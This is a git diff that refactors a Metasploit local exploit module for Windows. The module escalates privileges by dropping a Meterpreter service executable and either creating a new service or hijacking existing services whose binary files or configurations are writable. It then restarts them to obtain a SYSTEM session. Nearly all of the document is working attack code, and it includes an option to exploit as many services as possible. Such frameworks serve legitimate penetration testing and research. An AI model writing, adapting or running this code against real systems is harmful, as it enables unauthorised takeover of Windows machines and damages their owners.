Large refactor of service_permissions
parent
c97e8d3817
commit
7d7495a5dd
|
@ -9,7 +9,11 @@ require 'rex'
|
|||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Accounts
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
|
@ -19,10 +23,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
a SYSTEM session. If directly creating a service fails, this module will inspect
|
||||
existing services to look for insecure file or configuration permissions that may
|
||||
be hijacked. It will then attempt to restart the replaced service to run the
|
||||
payload. This will result in a new session when this succeeds. If the module is
|
||||
able to modify the service but does not have permission to start and stop the
|
||||
affected service, the attacker must wait for the system to restart before a
|
||||
session will be created.
|
||||
payload. This will result in a new session when this succeeds.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'scriptjunkie' ],
|
||||
|
@ -43,126 +44,150 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
|
||||
OptBool.new("AGGRESSIVE", [ true, "Exploit as many services as possible (dangerous)", false ])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# randomize the filename
|
||||
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
|
||||
# randomize the exe name
|
||||
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
|
||||
raw = payload.encoded
|
||||
|
||||
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
|
||||
|
||||
sysdir = expand_path("%SystemRoot%")
|
||||
tmpdir = expand_path("%TEMP%")
|
||||
|
||||
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
|
||||
begin
|
||||
#
|
||||
# Upload the payload to the filesystem
|
||||
#
|
||||
tempexe = tmpdir + "\\" + tempexe_name
|
||||
write_file(tempexe, exe)
|
||||
rescue ::Exception => e
|
||||
print_error("Error uploading file #{filename}: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
def create_service(path)
|
||||
success = false
|
||||
|
||||
print_status("Trying to add a new service...")
|
||||
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
if service_create(service_name,
|
||||
"",
|
||||
tempexe,
|
||||
startup=2)
|
||||
|
||||
|
||||
if service_create(service_name,"",path,startup=2)
|
||||
print_status("Created service... #{service_name}")
|
||||
ret = service_start(service_name)
|
||||
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
||||
write_exe(path, service_name)
|
||||
if service_start(service_name) == 0
|
||||
print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
||||
success = true
|
||||
end
|
||||
|
||||
service_delete(service_name)
|
||||
return
|
||||
else
|
||||
print_status("No privs to create a service...")
|
||||
success = false
|
||||
end
|
||||
|
||||
print_status("Trying to find weak permissions in existing services..")
|
||||
#Search through list of services to find weak permissions, whether file or config
|
||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||
#for each service
|
||||
service_list.each do |serv|
|
||||
begin
|
||||
moved = false
|
||||
configed = false
|
||||
#default path, but there should be an ImagePath registry key
|
||||
source = expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
|
||||
#get path to exe; parse out quotes and arguments
|
||||
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
|
||||
sourcemaybe = expand_path(sourceorig)
|
||||
if( sourcemaybe[0] == '"' )
|
||||
sourcemaybe = sourcemaybe.split('"')[1]
|
||||
else
|
||||
sourcemaybe = sourcemaybe.split(' ')[0]
|
||||
end
|
||||
begin
|
||||
file?(sourcemaybe) #check if it really exists
|
||||
source = sourcemaybe
|
||||
rescue
|
||||
print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
|
||||
end
|
||||
return success
|
||||
end
|
||||
|
||||
#try to exploit weak file permissions
|
||||
if(source != tempexe && file_move(source, source+'.bak')
|
||||
file_move(tempexe, source)
|
||||
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
|
||||
moved = true
|
||||
end
|
||||
def weak_service_permissions(service_name, service, path)
|
||||
success = false
|
||||
vprint_status("[#{service_name}] Checking for weak service permissions")
|
||||
|
||||
#try to exploit weak config permissions
|
||||
if service_change_config(serv[:name], {:bin_path_name => tempexe})
|
||||
print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
||||
configed = true
|
||||
end
|
||||
if(moved != true && configed != true)
|
||||
print_status("No exploitable weak permissions found on #{serv[:name]}")
|
||||
continue
|
||||
end
|
||||
print_status("Restarting #{serv[:name]}")
|
||||
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
|
||||
if(servhandleret["return"] != 0)
|
||||
#SERVICE_CONTROL_STOP = 0x00000001
|
||||
if(adv.ControlService(servhandleret["return"],1,56))
|
||||
session.railgun.kernel32.Sleep(1000)
|
||||
adv.StartServiceA(servhandleret["return"],0,nil)
|
||||
print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
|
||||
#Cleanup
|
||||
if moved == true
|
||||
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
||||
end
|
||||
if configed == true
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
|
||||
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
end
|
||||
else
|
||||
print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
|
||||
end
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
if datastore['AGGRESSIVE'] != true
|
||||
return
|
||||
end
|
||||
if service_change_config(service_name, {:bin_path_name => path})
|
||||
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
|
||||
print_status("[#{service_name}] Restarting service")
|
||||
stopped = service_stop(service_name)
|
||||
|
||||
unless (stopped == 2)
|
||||
write_exe(path, service_name)
|
||||
if (service_start(service_name) == 0)
|
||||
print_good("[#{service_name}] Service restarted")
|
||||
success = true
|
||||
else
|
||||
print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
|
||||
print_error("[#{service_name}] Unable to restart service")
|
||||
end
|
||||
rescue
|
||||
end
|
||||
|
||||
unless service_change_config(name, {:bin_path_name => service[:path]})
|
||||
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
|
||||
end
|
||||
end
|
||||
|
||||
return success
|
||||
end
|
||||
|
||||
def weak_file_permissions(service_name, service, path, token)
|
||||
success = false
|
||||
vprint_status("[#{service_name}] Checking for weak file permissions")
|
||||
|
||||
#get path to exe; parse out quotes and arguments
|
||||
original_path = service[:path]
|
||||
possible_path = expand_path(original_path)
|
||||
if (possible_path[0] == '"')
|
||||
possible_path = possible_path.split('"')[1]
|
||||
else
|
||||
possible_path = possible_path.split(' ')[0]
|
||||
end
|
||||
|
||||
unless file?(possible_path)
|
||||
# If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
|
||||
print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
|
||||
end
|
||||
|
||||
file_permissions = check_dir_perms(possible_path, token)
|
||||
|
||||
if file_permissions && file_permissions.index('W')
|
||||
print_good("[#{service_name}] Write access to #{possible_path}")
|
||||
|
||||
begin
|
||||
status = service_status(service_name)
|
||||
no_access = false
|
||||
# Unless service is already stopped
|
||||
if status[:state] == 1
|
||||
stopped = true
|
||||
else
|
||||
res = service_stop(service_name)
|
||||
stopped = (res != 2)
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
vprint_error("[#{service_name}] #{e} ")
|
||||
no_access = true
|
||||
end
|
||||
|
||||
if stopped or no_access
|
||||
begin
|
||||
if move_file(possible_path, possible_path+'.bak')
|
||||
write_exe(possible_path, service_name)
|
||||
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
|
||||
if (service_start(service_name) == 0)
|
||||
print_good("[#{service_name}] Service restarted")
|
||||
success = true
|
||||
else
|
||||
print_error("Unable to restart service")
|
||||
end
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("[#{service_name}] #{e}")
|
||||
end
|
||||
else
|
||||
vprint_error("[#{service_name}] Unable to stop service")
|
||||
end
|
||||
end
|
||||
|
||||
return success
|
||||
end
|
||||
|
||||
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
|
||||
# define the correct servicename.
|
||||
def write_exe(path, service_name=nil)
|
||||
vprint_status("[#{service_name}] Writing service executable to #{path}")
|
||||
exe = generate_payload_exe_service({:servicename=>service_name})
|
||||
write_file(path, exe)
|
||||
register_files_for_cleanup(path)
|
||||
end
|
||||
|
||||
def exploit
|
||||
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
|
||||
sysdir = expand_path("%SystemRoot%")
|
||||
tmpdir = expand_path("%TEMP%")
|
||||
tempexe = tmpdir + "\\" + tempexe_name
|
||||
|
||||
#return if create_service(tempexe)
|
||||
|
||||
aggressive = datastore['AGGRESSIVE']
|
||||
|
||||
print_status("Trying to find weak permissions in existing services..")
|
||||
|
||||
token = get_imperstoken
|
||||
service_list.each do |serv|
|
||||
service_name = serv[:name]
|
||||
service = service_info(service_name)
|
||||
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
|
||||
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue